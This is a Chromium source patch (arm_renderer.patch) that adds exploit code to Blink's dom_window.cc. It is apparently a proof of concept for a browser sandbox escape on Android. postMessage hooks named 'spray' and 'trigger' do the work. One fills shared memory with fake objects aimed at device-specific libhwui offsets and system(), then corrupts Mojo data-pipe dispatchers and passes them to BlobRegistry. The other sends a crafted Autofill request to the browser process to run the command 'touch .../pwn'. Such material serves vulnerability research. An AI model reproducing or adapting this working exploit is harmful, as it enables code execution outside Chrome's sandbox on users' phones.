arm_renderer.patch

diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc
index 5a768a029f92..19b506446232 100644
--- a/third_party/blink/renderer/core/frame/dom_window.cc
+++ b/third_party/blink/renderer/core/frame/dom_window.cc
@@ -43,6 +43,55 @@
 #include "third_party/blink/renderer/platform/weborigin/kurl.h"
 #include "third_party/blink/renderer/platform/weborigin/security_origin.h"
 
+
+#include "ui/gfx/geometry/rect_f.h"
+#include "base/strings/utf_string_conversions.h"
+#include "content/public/renderer/render_frame.h"
+#include "content/renderer/render_frame_impl.h"
+#include "content/public/renderer/render_frame_visitor.h"
+#include "content/renderer/frame_owner_properties_converter.h"
+#include "content/renderer/render_frame_proxy.h"
+#include "components/autofill/core/common/mojom/autofill_types.mojom.h"
+#include "components/autofill/content/common/mojom/autofill_agent.mojom.h"
+#include "components/autofill/content/common/mojom/autofill_driver.mojom.h"
+
+#include "components/autofill/core/common/password_generation_util.h"
+#include "components/autofill/core/common/form_data.h"
+#include "components/autofill/core/common/renderer_id.h"
+#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h"
+
+#include "third_party/ashmem/ashmem.h"
+#include <sys/mman.h>
+#include "third_party/blink/renderer/core/mojo/mojo.h"
+#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h"
+#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h"
+
+#include "base/single_thread_task_runner.h"
+#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h"
+#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h"
+#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h"
+#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h"
+#include "third_party/blink/public/platform/web_url_loader.h"
+#include "third_party/blink/renderer/platform/heap/persistent.h"
+#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h"
+#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h"
+#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h"
+#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h"
+#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h"
+#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h"
+#include "third_party/blink/renderer/platform/platform_export.h"
+#include "third_party/blink/renderer/platform/timer.h"
+#include "third_party/blink/renderer/platform/wtf/hash_map.h"
+#include "third_party/blink/renderer/platform/wtf/hash_set.h"
+#include "third_party/blink/renderer/platform/wtf/text/string_hash.h"
+#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h"
+
+#include "mojo/core/core.h"
+#include "mojo/public/c/system/data_pipe.h"
+
+#include <fstream>
+#include <string>
+
 namespace blink {
 
 DOMWindow::DOMWindow(Frame& frame)
@@ -55,6 +104,125 @@ DOMWindow::~DOMWindow() {
   DCHECK(!frame_);
 }
 
+//--------------Spray virtual memory----------------------------
+static uint32_t findLibOffset(const std::string& lib) {
+  std::ifstream file("/proc/self/maps");
+  CHECK(file.is_open()) << "Cannot open /proc/self/maps";
+  std::string line;
+  std::string addr;
+  while (std::getline(file, line)) {
+    if (line.find(lib) != std::string::npos) {
+      LOG(ERROR) << "found "<< lib << " " << line;
+      int pos = line.find("-");
+      std::string addrStr = line.substr(0,pos);
+      uint32_t offset = (uint32_t)std::stoll(addrStr, nullptr, 16);
+      LOG(ERROR) << addrStr << " : " << offset;
+      return offset;
+    }
+  }
+  CHECK(false) << "Cannot find " << lib << " offset";
+  return 0;
+}
+
+static int mapAndInitializeSharedMem() {
+  size_t pageSize = 0x1000;
+  size_t hugePageSize = 0x4000000;
+  uint32_t libhwuiOffset = findLibOffset("libhwui.so");
+
+//Pixel3a specific offsets--------------------
+  uint32_t executeOffset = 0x538f54;
+
+//A71 specific offsets------------------------
+  executeOffset = 0x7246a0;
+
+  int fd = ashmem_create_region("spray_region", hugePageSize);
+  for (size_t i = 0; i < hugePageSize/pageSize; i++) {
+    uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize);
+    CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i;
+    memset(mapped, 0x00, pageSize);
+    uint32_t* execute = (uint32_t*)(mapped + 4);
+    *execute = executeOffset + libhwuiOffset;
+    //Fake webpworker
+    uint32_t* hook = (uint32_t*)(mapped + 8);
+    *hook = (uint32_t)(&system);
+    uint32_t controlledAddr = 0x67000000;
+    uint32_t* data = (uint32_t*)(mapped + 12);
+    *data = controlledAddr + 0x100;
+    char cmd[] = "touch /data/data/org.chromium.chrome/pwn";
+    memcpy(mapped + 0x100, cmd, strlen(cmd) + 1);
+  }
+  return fd;
+}
+
+static std::vector<mojo::ScopedHandle> createDataPipes(int pipeNum, std::vector<int>& fd) {
+  std::vector<mojo::ScopedHandle> handles;
+  for (int i = 0; i < pipeNum; i++) {
+    MojoCreateDataPipeOptions options;
+    options.setElementNumBytes(1);
+    options.setCapacityNumBytes(0x1000);
+    MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options);
+    handles.push_back(result->consumer()->TakeHandle());
+  }
+  return handles;
+}
+
+
+static void sprayVirtualMem() {
+  int dupNum = 20;
+  int fd = mapAndInitializeSharedMem();
+  std::vector<int> fds;
+  for (int i = 0; i < dupNum; i++) {
+    fds.push_back(dup(fd));
+  }
+  std::vector<mojo::ScopedHandle> handles = createDataPipes(dupNum, fds);
+  mojo::core::Core* core = mojo::core::Core::Get();
+  for (size_t i = 0; i < handles.size(); i++) {
+    scoped_refptr<mojo::core::Dispatcher> dispatcher = core->GetDispatcher(handles[i]->value());
+    uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get());
+    int offset = 96;
+    *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]);
+    uint32_t* dispatcherPtrWide = (uint32_t*)(dispatcher.get());
+    *(dispatcherPtrWide + (offset + 16)/sizeof(uint32_t)) = 0x4000000;
+    ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 8);
+    options->element_num_bytes = 0x4000000;
+    options->capacity_num_bytes = 0x4000000;
+  }
+
+
+  mojo::Remote<mojom::blink::BlobRegistry> blob_registry;
+  Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
+        blob_registry.BindNewPipeAndPassReceiver());
+  for (int i = 0; i < dupNum; i++) {
+    blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing());
+  }
+}
+//----------------------------------------------------------------------
+
+//Triggering bug
+static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) {
+  blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces();
+  mojo::AssociatedRemote<autofill::mojom::AutofillDriver> autofill_driver;
+  provider->GetInterface(&autofill_driver);
+  autofill::FormData form;
+  autofill::FormFieldData field;
+  field.autocomplete_attribute = "cc-number";
+  form.fields.push_back(field);
+  form.url = GURL("https://www.aaa.com");
+  autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false);
+}
+
+static void RenderFrameHost_test() {
+  struct TriggerVisitor : public content::RenderFrameVisitor {
+    bool Visit(content::RenderFrame* frame) override {
+      RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame);
+      return true;
+    }
+  };
+  TriggerVisitor visitor;
+  content::RenderFrame::ForEach(&visitor);
+}
+//----------------------------------------------------------------------
+
 v8::Local<v8::Value> DOMWindow::Wrap(v8::Isolate* isolate,
                                      v8::Local<v8::Object> creation_context) {
   // TODO(yukishiino): Get understanding of why it's possible to initialize
@@ -142,6 +310,14 @@ void DOMWindow::postMessage(v8::Isolate* isolate,
                             const String& target_origin,
                             HeapVector<ScriptValue>& transfer,
                             ExceptionState& exception_state) {
+  if (target_origin == "trigger") {
+    RenderFrameHost_test();
+    return;
+  }
+  if (target_origin == "spray") {
+    sprayVirtualMem();
+    return;
+  }
   WindowPostMessageOptions* options = WindowPostMessageOptions::Create();
   options->setTargetOrigin(target_origin);
   if (!transfer.IsEmpty())